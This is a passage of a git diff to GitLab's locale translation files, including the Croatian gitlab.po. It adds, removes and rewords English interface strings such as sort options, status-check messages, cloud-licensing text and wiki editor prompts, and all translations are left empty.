msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index 61bf66e49ce..be7ed8e3a93 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:23\n"
+"PO-Revision-Date: 2021-07-01 21:05\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -91,6 +88,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -304,12 +304,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -484,6 +478,27 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -529,6 +544,12 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -721,10 +742,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -892,6 +913,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -925,9 +949,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
